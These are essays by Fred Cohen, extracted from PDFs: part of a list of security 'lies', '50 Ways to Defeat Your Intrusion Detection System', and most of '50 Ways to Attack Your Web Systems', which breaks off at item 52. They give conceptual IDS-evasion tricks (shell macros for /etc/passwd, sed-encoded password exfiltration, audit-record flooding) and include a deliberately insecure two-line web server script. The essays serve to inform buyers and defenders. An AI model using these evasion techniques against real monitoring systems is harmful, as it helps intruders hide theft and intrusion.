help keep you safe. You may feel safe, but you are not safe.
There are many exceptionally knowledgeable and honest
consultants in this field, but for the most part, they are not
differentiable by most customers from the multitudes of rip off
artists. Press here for more information on outsourcing information protection
consultants.

Lie 19: Artificial distributed intelligent agents will make you

safe. Please!!! First it was artificial intelligence, then expert
systems, then knowledge-based systems, then fuzzy logic,
then... I forget the whole list. Suffice it to say that people have

been anthropomorphising computer software to human

attributes since computers existed and they will likely continue
to do so until a computer actually reaches the level where we
can't tell it from a human - at which time they will scramble to
tell us that computers are not as good as people. Don't believe
anything you hear about computer intelligence - and little that
you hear about human intelligence.
Lie 20: Some breakthrough technology will make you safe.
Mostly we encounter breakthroughs in marketing technology a new and exciting way for you to send me money and feel
happy about it. Technical advances are steadily underway, but
in the end, it is not technology that makes people safe
anyway.

Let's move on to the almost mystical belief that the magic of cryptography will make you
safe.

Lie 21: Better cryptogrpahy will make you safe. Current

cryptography technology is more than adequate for all financial
transactions, but the strength of the cryptographic system is
not the limiting factor in the security of electronic commerce.
Lie 22: Public key cryptography is safer than private key
cryptography. This is patently false. The most secure
cryptography and the only provably secure cryptography is
private key cryptography. Public key systems are used
because they are more convenient, not more secure.
Lie 23: Digital signatures are safe. Digital signatures - like all
cryptographic techniques - are subject to many constraints on
their proper use. Almost no current overall systems use digital
signatures in a way that makes the identity of the source
certain.
Lie 24: PGP will make you safe. PGP stands for "Pretty Good
Privacy" and that's just what it is - pretty good - but not great.
And even if PGP were great cryptography, as was stated
above, cryptography alone cannot ever make you safe.
Lie 25: Certificate authorities will make you safe. Certificate
authorities do nothing of the sort - they don't even do what
they are usually believed to do - provide a proof of identity.

For the most part, anybody can get a certificate that claims
anything they want to claim and do so with little effort or cost.
Furthermore, certificates as they are most commonly used are
susceptible to man-in-the-middle attacks and other similar
exploits.
Lie 26: You can trust your credit cards to Internet
cryptography. The vast majority of credit card theft involving
the Internet is from servers that store and process large
numbers of credit cards. In the form most of these numbers
are kept on those servers, cryptography has nothing to do with
the process.
Lie 27: "128-bit encryption technology is the most secure form
of data scrambling commercially available." I read this one
from a commercial site - it's total baloney. Commercial
cryptography is available with unlimited key sizes, and
furthermore, key size is not a good measure of the strength or
effectiveness of cryptography. Larger keys don't always make
for safer encryption.
Lie 28: "SSL establishes a secure session by electronically
authenticating each end of an encrypted transmission. The
idea is that you know exactly whom you are communicating
with before sending any sensitive information." This is a total
fantasy - it does no such thing. SSL only sets up an exchange
of information that is kept secret by cryptographic techniques.
There is no ability in this system to prove anything about the
identity of the person or organization at the other end of the
communication.
Lie 29: The one-time-pad is not a practical cryptographic
system. Another fantasy put forth by the purveyors of cryptofiction. Not only is the one-time-pad viable, it is used in one
form or another for all applications where extremely high
assurance is desired. The one-time-pad is the only perfectly
secure cryptographic system.
Lie 30: It's just like a one-time-pad. I can't count the number
of vendors that have, at one time or another, sold a
cryptographic system as a one-time-pad when it wasn't one.
There are true one-time-pad systems, but the vast majority of
claims about systems being just like it - or in some cases -

claims of being an actual one-time-pad are not to be believed

unless the claims are examined in minute detail by an expert.

Fred Cohen & Associates

Specializing in Information Protection Since 1977

Managing Network Security

50 Ways to Defeat
Your Intrusion Detection
System

by
Fred Cohen of Fred Cohen & Associates (fred at all.net)

Series Introduction
Over the last several years, computing has changed to an
almost purely networked environment, but the technical
aspects of information protection have not kept up. As a result,
the success of information security programs has increasingly
become a function of our ability to make prudent management
decisions about organizational activities. Managing Network
Security takes a management view of protection and seeks to
reconcile the need for security with the limitations of
technology.
Background and Introduction:
This article is based on a short piece I wrote a few weeks ago
on an airplane on the way back from the National Computer
Security Center / National Institute of Science and Technology
conference.
I was one of 12 speakers on a panel discussion about how to
protect networks when the style of computing involves loading
untrusted executable programs from over the Internet into
network browsers running on computers inside the firewall. At
some point during that panel discussion I stated that, while the
idea of intrusion detection systems was an interesting one and
one that should be followed as a possible candidate for helping
to address this challenge, current systems were so poor as to

be not worth the effort to implement them. (My actual words

were a bit less polite, but you get the idea).
After the panel, I had to go to the airport straight away to
make my plane. When I sat down, I was surprised to find both
the editor (Richard Power) and director (Patrice Rapaulus) of
the Computer Security Institute sitting in the next row taking
the same set of flights back to San Francisco. As we discussed
the conference and I mentioned the limited abilities of
intrusion detection systems, Richard joked that I could write
an article on the 50 ways to bypass intrusion detection
systems. I had written the 50 Ways to Attack Your World Wide
Web Systems a few years earlier just before their fall
conference. I know Richard was surprised when I asked him
when he needed it.
The deadline was in a few days and, since the plane ride was
several hours long and I had my pocket computer in my
pocket, I told him Id have it for him before the first stop.
(Dallas - Fort Worth) I started typing and every few attacks
read them a sample, they laughed at the funnier ones, and it
made the plane ride a bit more pleasant for an hour or so.
When I finished the 50 ways (plus a few bonus ways) I read
the whole piece to them, they laughed at the funnier parts,
and Richard had it in his email before he got home.
Here then is the piece, more or less as it was when I Emailed it
to them, complete with the original introduction. It was my
hope then as it is my hope now that you will both enjoy the
humor in these weaknesses and appreciate the seriousness
underlying them at the same time.
Original Introduction:
In my ongoing attempt to cover the legal bills associated with
trying to get Netscape to pay the $50,000 they should owe me
for demonstrating 50 ways to attack World Wide Web systems
a few years back, I have been forced to write articles such as
this one for trade rags such as this one. In keeping with this
most serious of tones, I introduce here, 50 ways to defeat
modern (i.e., stone aged) intrusion detection systems.
Background:

From a standpoint of the network security manager, it is often

difficult to tell the wheat from the chaff when selecting
products or deciding on capabilities. The current situation in
intrusion detection is that very few managers know how to
make a proper decision and vendors seem to be taking
advantage of this knowledge vacuum to make sales.
I have heard many claims and a wide range of prices for these
systems, but the plain truth is that most current intrusion
detection technologies and systems available to the average
buyer are poor at best. This seems to me to be a case where
the emperor has no clothes. Since exposing naked emperors is
one of my goals in life, I thought it might be useful to provide
decision-makers with some ammunition to use in evaluating
candidate systems. While I hope my playful tone is
understood, the issues underlying these examples are serious
and these examples are only the tip of the iceberg.
The 50 Ways:
1 - Inserting extraneous characters into a standard attack
typically causes detection failure. As an example, you could
insert the string && true into a typical shell command line
without ill effect on operation but with degraded IDS
performance.
2 - Use tabs instead of spaces in commands. Since most
current systems dont interpret all separators in the same way,
changing to non-standard separators can make them fail. You
might also try , instead of ; in the Unix shell.
3 Closely related to number 2, you could change the
separator character in the system so that (for example) % is
the separator. This would confuse detection systems almost
without exception.
4 - Reorder a detected attack sequence. For example, if the
attack goes a;b;c and it would also work as b;a;c, most
detection systems would rank the one they were not tuned to
find as unlikely to be an actual attack.
5 - Split a standard attack across more than one user. Using
the a;b;c example above, if user X types a;b and user Y
types c the attack is almost certain to go undetected.

6 - Split a standard attack across multiple sessions. Login once

and type a;b, logout, then login and type c.
7 - Split across multiple remote IP addresses/systems. Login
from sites X and Y, and type a from site X, b from site Y, and
c from site X.
8 - Define a macro for a command used in a standard attack.
For example, set a shell variable called $ZZ to cp and then
use $ZZ instead of cp where appropriate.
9 - Define a macro for a parameter in a standard attack. For
example, use the name $P instead of the string /etc/passwd.
10 Create shell scripts to replace commands you use. If you
do this carefully, the detector will not associate the names you
use for the scripts to the commands and will miss the whole
attack.
Bonus attack - Add comments to attack lines in an attack
that would otherwise be detected.
11 - Use different commands to do the same function. For
example, echo * is almost the same as ls in the Unix shell.
12 - Change the names in standard attacks. For example, if
the standard attack uses a temporary file named xxx, try
using yyy.
13 - Create a code-book translater for attack keywords. This
can be done by piping all commands through a filter program
perhaps using sed to do string substitution.
14 - Encode the attacks in ebcdic and change terminal types
to an ebcdic terminal. Since all the characters are differently
coded, the detector will be unable to decode your actions.
15 Encrypt your attacks for example, by using the secure
shell facilities intended to increase protection by preventing
snooping including snooping by the IDS.
16 - Use a postfix notation for transmissions, and then
translate back at the other end. The detector will not be able
to understand the syntax.
17 - Turn on full duplex communications mode wit the target.
The extra characters going back and forth may confuse the
IDS.

18 - Intermix several known intrusion techniques by

alternating one instruction from each. The IDS is likely not to
recognize any of the attacks.
19 encode results sent by daemons so that the patterns of
what is returned cannot be used for detection. For example,
instead of mailing yourself a password file by exploiting a
sendmail bug, pipe the password file through a sed script that
changes the :s to -s.
20 - Attack by piping everything through an awk script that
exchanges characters. This will confuse the IDS.
Bonus attack - Run commands selected from a table by the
row number and have the victim system do the command-line
calls. So you might send 15 *.com and the victim system
might do dir *.com.
21 - Overwhelm the IDS sensor ports. For example, by using
an echo virus against a UDP port, you might make the sensor
port unable to receive further sensor inputs.
22 - Crash the IDS with ping packets. By sending long IPNG
packets, many systems that run IDS systems can be crashed,
causing them to fail to detect subsequent attacks.
23 Kill the IDS by attacking its platform. Most IDS systems
run on regular hosts which can themselves be attacked. Once
the platform is taken over, the IDS can be subverted.
24 - Create false audit records to confuse the IDS. For
example, send packets to the IDS in between the packets that
might indicate an attack and containing information makes the
attack actions look harmless.
25 - Consume all IDS disk space then launch for real. By (for
example) overrunning the disk space consumed by the IDS
with innocuous but detected sequences, the IDS will fail and
subsequent attacks go undetected.
26 - Stop the generation or collection of audit records then
attack. For example, by creating a large number of processes,
the system running the IDS may not be able to create the
process needed to generate an audit record.
27 - Cause the response system to disrupt normal
communications. For example, some IDS systems respond to
repeated attacks from a site by cutting off all traffic from that

site. By forging malicious traffic coming from a particular host,

the IDS may cut off all traffic from that host, after which it can
be attacked at will.
28 - Type everything in backwards and use a translator
program to reverse it. Do the same in transmissions sent back
to you.
29 - Type everything in infix notation and have it translated
via awk into prefix notation. The IDS may be unable to
interpret the traffic.
30 - Use emacs as the shell and use wipes and yanks in and
out of the cmd buffer instead of typing. The IDS will see
things like control-W and control-Y while the command
interpreter on the victim site will see malicious commands.
Bonus attack - Type very slowly (over a period of hours per
command line should do nicely). Since buffer sizes are limited,
your traffic may be lost in the glut of other things the IDS has
to watch.
31 - Change routes to target to avoid the IDS.
32 - Change return routes from target to avoid the IDS.
33 Use source routing to reroute each packet through a
different path to the victim, thus avoiding any single IDS.
34 - Start an outbound session from the victim via a modem
and attack over that connection. If the IDS is network-based,
it will miss these packets.
35 - Interfere with the infrastructure between the victim and
the IDS. In remote monitoring and network-based IDS
systems, this is often possible by modifying router traffic (as a
simple example).
36 - Break into an intermediary to break the traceback of the
attack. The intrusion may be detected, but they wont be able
to trace it to you (unless they are very good at traces).
37 - Start a session on an unusual IP port. These ports are
often not understood or watched by IDS systems.
38 - Use a modified protocol for communications, such as one
that reverses bytes on words. (See PDP-11 and VAX encodings
for examples).
39 - Use IPX over IP for the attack. The IDS will probably only
notice the IP packets and not understand the content.

40 - Use a different tunneled protocol session for the attack

such as IP over HTML.
Bonus Attack - Define your
application and attack over it.

own

protocol

for

new

41 - Attack over dial-ins instead of a network. Network-based

IDS systems will never notice this activity.
42 - Create large numbers of false positives to increase noise
level. This will make finding the real attack human time
intensive and people tend to fail under these circumstances.
43 - Plant the intrusion instructions within a Word macro and
send a document to the victim. The IDS probably cant decode
the attack inside the macro.
44 - Plant the intrusion code within another macro and send to
victim. Power point perhaps, or 123, or you get the idea.
45 - Put the attack in a compiled program (i.e., a Trojan
Horse) and get the victim to download the attack and run it for
you.
46 - Use a rarely used protocol for the attack. Chances are the
IDS doesnt know how to interpret the packets.
47 - Recode the attack in a different language than it was
originally published in.
48 Use any non-technical attack (such as so-called human
engineering). Since the IDS only looks at bits and bytes, it
doesnt detect many of the common attacks used by attackers
today.
49 - Attack any system that doesn't run Unix. Since almost all
of todays IDS systems only look for Unix attacks, everything
else will pass undetected. (Some apparently detect NT attacks
now as well.)
50-1000+ - Use one of the 1000 or so published attacks not
detected by current systems. The largest number of detected
attacks I have seen advertised to date as being detected by
any such system is only about 50. (One vendor recently
claimed over 150, but the newest numbers I heard for known
vulnerabilities has gone up to 2,000) Nevertheless, 150 is
progress over 50!

Bonus attacks - 1000+ to - Create a new attack

script. IDS systems today almost all look only for a small
number of known attacks.
Afterward:
This ends the original article sent to the Computer Security
Institute, but it doesnt even start to end the story of what
happened later. It ended up that the URL for this article was
sent to a mailing list for principal investigators funded in the
intrusion detection research area. It seems that some of them
have not yet mastered the art of laughing at themselves and
were more than a bit upset at my statements. Others were
quite whimsical, and still others took a serious tone but were
not offended by the content.
What was strange to me was that I led a serious study of
intrusion detection systems less than a year earlier and had
the results reviewed by these same folks. Almost none of them
had more than a passing comment on the technical paper that
indicated all of the weaknesses described in this article and a
large class of other ones. While I rarely do such a thing, I will
quote here from a private email I sent to one of these folks:
Pretty strange to watch all this commentary in the research
community over a paper intended as a humorous poke at
vendors trying to sell poor quality solutions to unsuspecting
computer security managers at companies. The serious paper
is the national infosec technical baseline, but it apparently
engendered no such discussion.
When will I learn that people ignore my serious work and pay
lots of attention to my play pieces.
Summary and Conclusions:
I have a policy of always delivering a little bit more than I
promise. While at least one early reader of this article declared
that I could not count, they also asserted that there were only
40 ways listed in the article. When I read the comment I
immediately went back and recounted, and I am pretty sure I
have exceeded my goal of 50 ways.
If you laughed at some of these attacks, I am glad, because
many of the current intrusion detection systems are, in my
opinion, laughable. If you are offended by my disregard for the

products available today, you are probably a vendor in this

field wishing I hadnt told all those decision makers how to ask
the tough questions about your product.
The major conclusion that I draw from the 50 ways is that
intrusion detection is still in its infancy. In many cases,
products are simply not ready for prime time, and in other
cases, the efforts required to make them viable in your
business are not justified by the acquisition, configuration, or
operation costs.
I hope you have enjoyed this holiday article and that you will
enjoy and prosper throughout the coming year. Happy
holidays.
About The Author:
Fred Cohen is a Principal Member of Technical Staff at Sandia
National Laboratories and a Senior Partner of Fred Cohen and
Associates in Livermore California, an executive consulting and
education group specializing in information protection. He can
be reached by sending email to fred at all.net.

Fred Cohen & Associates

Specializing in Information Protection Since 1977

Internet Holes: 50 Ways to Attack

Your Web Systems
Copyright (c), 1995, Management Analytics - All Rights Reserved

Series Introduction

The Internet is now the world's most popular network and it is full
of potential vulnerabilities. In this series of articles, we explore the
vulnerabilities of the Internet and what you can do to mitigate
them.

Some Background

In May (or so) of 1995, I was discussing potential attacks against

the key generation processes used in PGP, and the issue came up of
how good the pseudo-random number generator (PRNG) was and
whether it could be exploited to break PGP encrypted or signed
documents. I got a lot of Email abuse and was called many names
for bringing this issue up, but as a side effect, people in
the cypherpunks Internet mailing list started to look into this class
of attacks. By September, it was discovered that Netscape's SSL
protocol implementation was based on a poor PRNG, and that
Netscape's so-called secure messages could be broken in a minute
or two on a PC.
In September or October of 1995, in that same list, I was engaged
in a heated debate about the dangers of Sun's new Java system for
permitting Web browsers to automatically run programs provided to
them by untrusted servers. I have serious concerns about systems
that allow users, at the push of a button that's not even
differentiable from any other button, to run programs specified by
unknown third parties. As the debate heated up, I posted a halfhumorous article titled something like 50 ways to attack your Java.
The name was a take-off on Paul Simon's song 50 Ways to Leave
Your Lover. The content had some serious scenarios, most with
results I though to be somewhat humorous (e.g., displaying a
Mickey Mouse watch on the screen with the wrong time).
As a result of this posting, I got a lot of electronic abuse. List
members cast aspersions on everything from my character to my
sex life, including but not limited to claiming that I knew nothing
about security, that my doctorate came from a mail order house,
and probably that my mother wore army boots. I recalled a line
from a movie (I think it was from Heaven Can Wait) that went
something like:
The likelihood of being right is directly proportional to the vigor
with which other people claim you are wrong
Figuring that I was on the right track, I pressed on.

It was several weeks later that I was contacted by the Computer

Security Institute and asked to give a presentation on Web security
in a plenary session at their semi-annual conference in Washington,
D.C. It seems that they had a lot of interest in Web security, that
one of their editors had seem my 50 Ways posting, and that they
wanted me to give a presentation on 50 ways to attack the Web.
With only a week before the conference and other work to do, I was
now faced with coming up with 50 real attacks that could be used
against the Web.
Having accepted the invitation and just having finished my draft
version of slides late last night, I awakened this morning to the
realization that the conference will make it impossible to finish
my Internet Holes article at my regularly scheduled time (which
should be next week). So I decided to move the other article I was
working on to January and make this month's article coincide with
the 50 Ways talk. Here we go:
Some Web and Web Security Basics

The World Wide Web (a.k.a. the Web, WWW, or W3) may be the
most widely used information system ever. There are claims of
about ten million regular users, and many sites now claim to
process more than 100,000 requests per day. The Web is comprised
of a highly distributed set of tens of thousands of
informationservers,
an
unknown
number
of
freely
available browsers, and the Internet which facilitates its operation.
Nobody owns the Web. Individual servers and browsers are owned
by anyone who wants to make them available or use them. There is
no central coordinating body, but there are some standards
committees that try to augment existing protocols with highly
flexible protocols to enhance function (usually at the cost of
everything else). Information in the Web comes in many forms, but
it is primarily in the form of Hyper-Text Markup Language (HTML)
documents. The way it all works is:

Browsers interpret HTML documents and display them on the

screen as formatted text, included graphics, included audio,
included movie, and included other-things. When HTML

documents provide pointers (called Uniform Resource Locators

- URLs) to other documents, the pointers are presented as
highlighted items. If the user wants to retrieve a document
referenced by a URL, the item on the screen corresponding to
the URL is selected (usually with a mouse click) and the
browser attempts to get the new document from the Web.
Servers await requests (normally on TCP Port 80) that consist
(about 99% of the time) of Get requests naming a particular
document to be retrieved. When a request is made, the server
either provides the document or sends back an appropriate
error response.
The net effect is a giant database that can be moved through
by pressing buttons. This all works because URLs identify the
name of the server (by Internet name or IP address) and the
name of the document on that server (usually by a partial
pathname of the file on the server). The trick to getting people
to access your Web site is getting other Web sites to point to
your URLs and to advertise your URLs to the network through
whatever means.

If this seems overly simple, it's not. We implemented a secure Getonly server in a few hours, and an insecure one can be implemented
in a minute or two. Here's an example Unix shell script that (sort of)
works (but it's VERY insecure):
read a b c
cat $b

To use it, you have to make this the listener on port 80 (via the
inetd program under Unix). It takes a few minutes - but don't do it.
It's really very risky.
To make a minimal browser, the following Unix shell script will get
the information if you provide the URL, HOST, and PORT:
(echo "get URL http";sleep 10) | telnet HOST PORT

Try "/" for the URL, "all.net" for the HOST, and "80" for the PORT as
an example.

General Classes of Vulnerabilities

Vulnerabilities of the Web, as a system, can be considered in terms

of three different classes of attacks:

Browsers: Attacks can be launched against the browsers used

to retrieve and view information.
Servers: Attacks can be launched against the servers that
provide information on request.
The Network: Attacks can be launched against the network
infrastructure used to communicate between browser and
server.

Another perspective on vulnerabilities of the Web considers four

different sorts of harm, several of which may be active in any
particular attack:

Corruption: Neither browsers, servers, or the Internet

infrastructure are designed to provide protection against
corruption. As a result, it is fairly easy to corrupt information
throughout the Web.
Denial: Neither browsers, servers, or the Internet
infrastructure are designed to provide protection against denial
of services. As a result, it is almost always possible to deny
services on a selective basis, and often possible to deny
services on a larger scale.
Leakage: Neither browsers, servers, or the Internet
infrastructure are designed to provide protection against
leakage of information. As a result, it is often possible to
capture confidential information and usage patterns.
Liability: Because of the weaknesses in the overall structure of
the Web, it is often possible to use an attacked site as a
launch-point for other attacks. This introduces potential
liability to parties that are successfully attacked.

Yet a third perspective looks at the fundamental issues of the design

of the Web:

Distributed untrusted computation: As a basic premise, the

Web provides a means for information provided by arbitrary

servers at unknown locations operated by unknown

organizations to be interpreted by any of a large number of
different browsers at unknown locations operated by unknown
organizations. The idea of interpreting unknown information
from unknown sources seems inherently risky.
Remote execution of untrusted software: Many Web extensions
are designed to provide added function making the Web more
than just a massive uncontrolled distributed database. These
extensions, such as Postscript, Java, and Mime essentially
allow for remote execution of untrusted software. For the
browser, the risk is that the computer running the browser will
be taken over, while for a server, the same risk extends to the
server and any subsequent browsers that get information from
that server once it is attacked.
Remote interpretation of unstructured and unverified
content: In essence, most browsers and servers assume that
the incoming information follows the HTTP protocol, but there
is inadequate enforcement of this by servers and browsers.
The result is that any incoming information might not conform,
might be interpreted using an undefined method
(corresponding to a don't care condition in the interpreter),
and might result in arbitrary undesirable side effects.

In summary, the Web is a system that was never designed for

protection and that is being implemented in the most hostile of
environments with a completely untrained and unaware user base
as a basis for a global system for distributed computation and
electronic commerce. It has inadequate protection for integrity,
availability, and confidentiality, it may introduce large liabilities to
both providers and users, it is vulnerable in each of the three
aspects of its operation (browsers, servers, and networks), it has
fundamental design flaws that make it inherently difficult to protect,
and it is being implemented on an unprecedented scale in a very
short time frame almost entirely by people who do not understand
the protection issues.

The Fifty Ways

These example attacks come in three types. Attacks marked with a

* have been demonstrated. Attacks marked with a *+ have caused
real-world incidents. Unmarked attacks are theoretical but are very
likely to work. Since the goal is 50 attacks and some of the
theoretical attacks may not be active today, we have provided 60
attacks under the assumption that this redundancy will cover any
attacks that are never demonstrated.
Browser-Side Attacks

These attacks work against browsers, the user programs that

present information and allow the selection of new URLs.
Postscript Interpreters

Postscript is an interpreted language originally designed to provide a

printer-independent language for printing complex documents.
Because it is a general purpose programming language with input
and output, any Postscript document acts like a program when
interpreted. This leads to any number of possibilities, a few of which
are listed here.
1) Postscript file overwrites key files*: Postscript files can contain
commands to open, create, copy, delete, or rename files. If you are
using a browser that displays Postscript files and you view a
postscript file, it could overwrite any files on your system, including
configuration files used to open your system to other attacks.
2) Postscript file introduces Trojan*: A more advanced form of a
Postscript-based attack could be used to introduce a Trojan horse or
virus into the computer running the browser.
3) Postscript file transmits secrets over port 80*: A still more
advanced Postscript-based attack would use port 80 (the HTTP port)
to transmit internal information to the attacker. This can be done
even through a firewall because firewalls that allow HTTP to pass
have no secure way to determine the difference between a
legitimate HTTP message and an illegitimate one.

Dirty Pictures

Dirty pictures aren't a very important threat against most

businesses from a standpoint of lost revenue or competitive
advantage, but they are a potential source of liability, they are
potentially demeaning to the group to which the pictured persons
belong, and they are usually not part of a legitimate business
function. In cases where underaged recipients are involved, they
are often also illegal.
4) Postscript file has dirty pictures*+: Since Postscript is a general
purpose language, it can be used to display dirty pictures.
5) GIF file has dirty pictures.*+: A far more direct route is to use
the GIF format which almost all Web browsers support. Since, in
many browsers, GIF files are simply displayed by default as they
show up, you never know what the next button-push might
produce.
Undesired Traffic

A common complaint of clients is that users use the Web in many

ways that are counterproductive. Some examples may help to
clarify this.
6) HTML file describes how to make money by leaking
secrets.: Many people offer money in exchange for trade secrets,
but unless you are looking for ways to sell trade secrets, you are
unlikely to come across them - except on the Web. Either as jokes
or as real solicitations, several Web sites have openly stated that
they provide cash for confidential information.
7) Inbound information is false and misleading.*+: Many users trust
information retrieved from the Web in the same way as they trust
information on the evening news or in the library. It is quite
common to find false and misleading information throughout the
Internet, and the Web is no exception.
8) Users waste all day looking at Web stuff*+: A common event in
many organizations that have recently introduced the Web is its

extensive use at the expense of employees fulfilling other job

functions.
9) New executables loaded via the browser*: Programs loaded from
over the Web are no more safe than programs loaded from the local
bulletin board. In fact, they may be far more dangerous, and in
some cases, have been specially designed to compromise security.
Downloaded Aplets

Aplets are the names for Java programs that can be automatically
loaded onto your computer and run at the push of a button when
you use a Java-based application. Since selections that run aplets
look like any other Browser selection, you cannot tell whether any
particular button push will run an aplet or not. Since Java is a
general purpose language, aplets can potentially do almost
anything. There are some security features in the language meant
to prevent certain types of threats, but they have not been
demonstrated to be effective in any current implementations and,
perhaps more importantly, they only address a small portion of the
threats we consider.
10) Introduce Trojan Horses*: A Java aplet may be advertised as
one thing but actually be something else. For example, an aplet that
claims to be a search engine for electronics products from the whole
Internet may only provide products distributed through one
distributor.
11) Introduce viruses: A Java aplet is capable of reproducing itself
and sending itself back out over the network. This makes networkbased viruses with Java a real possibility.
12) Send your information out: Since aplets are general purpose
and linked into standard libraries, they may fool your users into
selecting filenames which are then transmitted out of the company.
13) Redirect request through attacker*: Aplets can also be used to
redirect requests so that they go through the attacker rather than to
normal locations they appear to point to. The allows the attacker to

watch and modify all traffic in both directions as long as the user is
pressing buttons within the display area of the screen.
14) Consume bandwidth with big downloads*+: While the user is
looking at the screen, an aplet can be silently sending large
amounts of information between the server and the browser. This
can be done without interfering with the display, and can result in a
lot of bandwidth being consumed.
15) Trick the browser into routing into your network: If you can get
the user or the browser to output to a file on the browsers
computer, you could overwrite a configuration file that would route
all traffic through the attacker's computer. This would give the
attacker unlimited control over access and content.
16) Forge look and feel of internal machines and gather
information*: By making an external server appear to the an
internal server, a user could be fooled into doing internal work (such
as entering information into confidential databases) through an
external system. One of the attacks listed above was to cause HTML
information to be redirected through attacker's computer.* This
could have many implications:
17) Get usage statistics*: It would be simple to gather usage
statistics to see how much you use the Web, which sites you tend to
visit, and what you usage pattern is like.
18) See what you are investigating today*: A more detailed
investigation attacking many browsers could be used to get
intelligence on what your company is researching using the Web. A
more active attacker could modify information provided to you in
order to manipulate your actions.
19) Take credit card numbers: If you use credit card or charge
numbers through a Web server, redirected requests could give away
this information to an attacker who could exploit it for financial
advantage.

Some Other Attacks

The rest of these attacks are selected from my archives of nasty

things people have done to each other with computers and adapted
to the Web environment.
20) Forge Netscape-like E-mail from the boss.: If you use Netscape
for your Email services (or any other Web-based mail system), an
attacker can easily forge electronic mail, making it seem like it is
from the boss. Similar email attacks have been used successfully
before, but I'm not aware of any through a browser-based Email
interface yet.
21) Crash the browser/PC with a big URL.*+: We have a test for
this on our Web site. At the press of a button, your browser
crashes. It works on many browsers, and in some cases, may even
crash the computer the browser is running on. Do a backup first.
22) Cause flashing displays at seizure rates.*: Because Java and
Postscript are general purpose languages capable of altering the
video display over time, it's possible to create flashing displays at
rates that can induce epileptic seizures. This could also be used to
introduce subliminal messages.
23) Send personal (naked) video mail to mail list.*+: At least one
case of video Email resulted in widespread distribution of naked
pictures. A woman apparently pushed the wrong button and sent
her Email to a large mailing list instead of her significant other.
In today's environment, there is a great deal of concern over
children using the Internet where, like every other part of modern
society, there are bad actors with an eye on children. The Web can
be used to solicit children:
24) to buy things.*: Just like modern kiddie commercials, the Web
can be used to convince children to purchase things.
25) to sell things.*: Unlike most normal television advertisements,
the Web can be used for exchanges, including getting children to

sell things for money. What they might sell is left to the readers'
imagination.
26) mom's not at home.: A burglar or kidnapper could use the Web
to find out from children about their household schedules, and
exploit this information in order to reduce their risks of being caught
at bad acts.
27) to be in pornographic films.: One of the things children might be
solicited to sell would be the use of their bodies.
Server-Side Attacks

Servers have weaknesses too. We'll give some examples of

weaknesses found in servers several times over the last year and
augment them with the selections of how they might be exploited.
Buffer overflow into code space

By overflowing input buffers, many programs can be caused to

overwrite data and/or programs with user-supplied information. This
is particularly dangerous in a networked environment because
remote users may gain illicit entry, thus bypassing normal controls.
28) Crash Web services*+: It's relatively easy to cause denial of
services by simply overrunning input buffers and thus placing
arbitrary characters into the executable code of the server.
Eventually, this will almost certainly lead to a crash.
29) Corrupt server info*+: You can almost always
information being provided by the server to browsers.

corrupt

30) Tunnel an IP channel*: With a substantial amount of effort, the

server software can be forced to open up an unlimited set of IP
services, all operating within TCP port 80, the port normally used for
Web service.
31) Springboard attacks*: A completely different sort of attack
modifies the server software so that it acts for the attacker as a

platform for launching further attacks. These attacks can be aimed

outward toward external hosts, or inward, toward internal hosts.
32) Attack firewall*: For example, a bastion host Web server can be
turned into a system designed to bypass the effect of the outside
router in a firewall. It can also be used to launch attacks against the
next level of protection, to observe or disrupt network traffic in the
firewall network, or in the case of firewalls with only a router, to
bypass the firewall completely.
33) Get password file*+: If the Web server is taken over, it may be
possible to send out its password file. This can be used to determine
passwords that may be common to the organization or firewall, or in
the case of a time-variant password, to provide the algorithm and
key required to forge these codes.
34) Crash whole server*: It is often possible to deny services to the
entire server or even the network it operates on by taking over the
Web server.
35) Create reentry holes*+: It is commonplace to
information on the server to permit subsequent reentry.

corrupt

36) Destroy audit trails*+: Attackers have used the privileges

gained by taking over the server to destroy audit trails that might
indicate details about their activities which might be used to trace
the attack.
37) Change access lists*: Some web servers use access control lists
to limit usage by different remote users. This mechanism has its
own weaknesses, but even the limited protection afforded by this
technique can and has been bypassed by an attacker.
38) Rewrite home page*+: it is fairly commonplace for attackers to
rewrite the home page of the organization under attack. Attackers
seem to believe that this is an improvement, but most of
the improved sites don't seem to believe the same thing.

CGI script hole

One of the most useful capabilities provided by the Web is the

ability to process inputs sent to the server using a Form. Forms are
used to provide fill-in blanks that browsers allow the user to enter
information in. The information is then sent to the server as part of
a post request, and the server processes the request using its own
programs. These programs are commonly called CGI scripts. The
vulnerability is that the programs processing requests are often
insecure, and thus the inputs provided can sometimes trick these
programs into granting unlimited access to the attacker.
39) Get "hit" records*: The list of accesses to the server are
commonly readable from the CGI programs, and attackers can send
this information out so as to provide detailed logs of system use.
40) Get private keys*+: In many
cryptographic transforms, such as
transactions processing. Attackers
transmit these keys to attackers
and/or forging messages.

cases, CGI scripts implement

authentication used for trusted
have used CGI script holes to
for subsequent use in reading

41) Take credit card numbers*: In some implementations, credit

information is stored on line. An attacker who bypasses protection
can sometimes get credit information stored from previous
transactions.
42) Have goods sent: In systems that take orders, bypassing the
scripts often allows the attacker to add orders to the list of goods to
be shipped.
43) Redirect shipments: An attacker can also change addresses for
goods already ordered, thus causing the goods to be shipped to the
wrong address.
44) Delete records*+: An attacker wishing to cover track might add
new order records and delete old records. A competitor might be
satisfied with merely deleting your orders.

45) Duplicate shipments: An attacker that can delete or add

records, should also be able to duplicate them.
46) Change catalog: It should also be feasible to alter on-line
catalog entries to remove products, change what is said about
products, or otherwise alter the catalog.
47) Copy your setup: If it cost you money to create your server,
others may want to get the information without paying for it.
Copying a Web setup is usually quite simple once the system has
been entered.
48) Get your price lists: Sometimes companies have different price
lists for different clients. It could be very dangerous if an attacker
found these price lists and exploited them.
49) Forward illicit mail*: Some people who want to remain
anonymous use automated remailers. By installing the remailer on
your computer, they use your system to conceal their identity.
50) Resend stolen info*+: In some cases, illegally obtained copies
of software packages are placed on vulnerable sites to act as
repositories for illegal use. This is done with illegally obtained credit
card numbers as well.
Network Attacks

The network that the Web runs on is primarily the Internet, and the
Internet has ineffective protection across the board. Although I have
now met the promise of 50 attacks, I'm throwing these ten in for
free.
51) Overload the server with unterminated inits.*+: The Web uses
TCP to transport information, but the design of TCP has a flaw.
When a session is initialized, it takes a request, a confirmation, and
a synchronization before things get going. If the attacker sends a
request, and the server responds, there is no specified timeout for
the third part of the protocol. By not sending the third message, the
server waits forever for the message to proceed. Servers have limits
on the number of processes that can be in this state at any given

time, so by doing the same thing that number of times, all further
TCP ports opens to Web services will fail until the system is
rebooted.
52) Rewrite URLs on the fly to redirect requests.*+: Once a request
comes through a server, that server can start to act like a gateway
for further requests byrewriting URLs. For example, if it has a list of
other servers and you select one, the self-declared gateway can
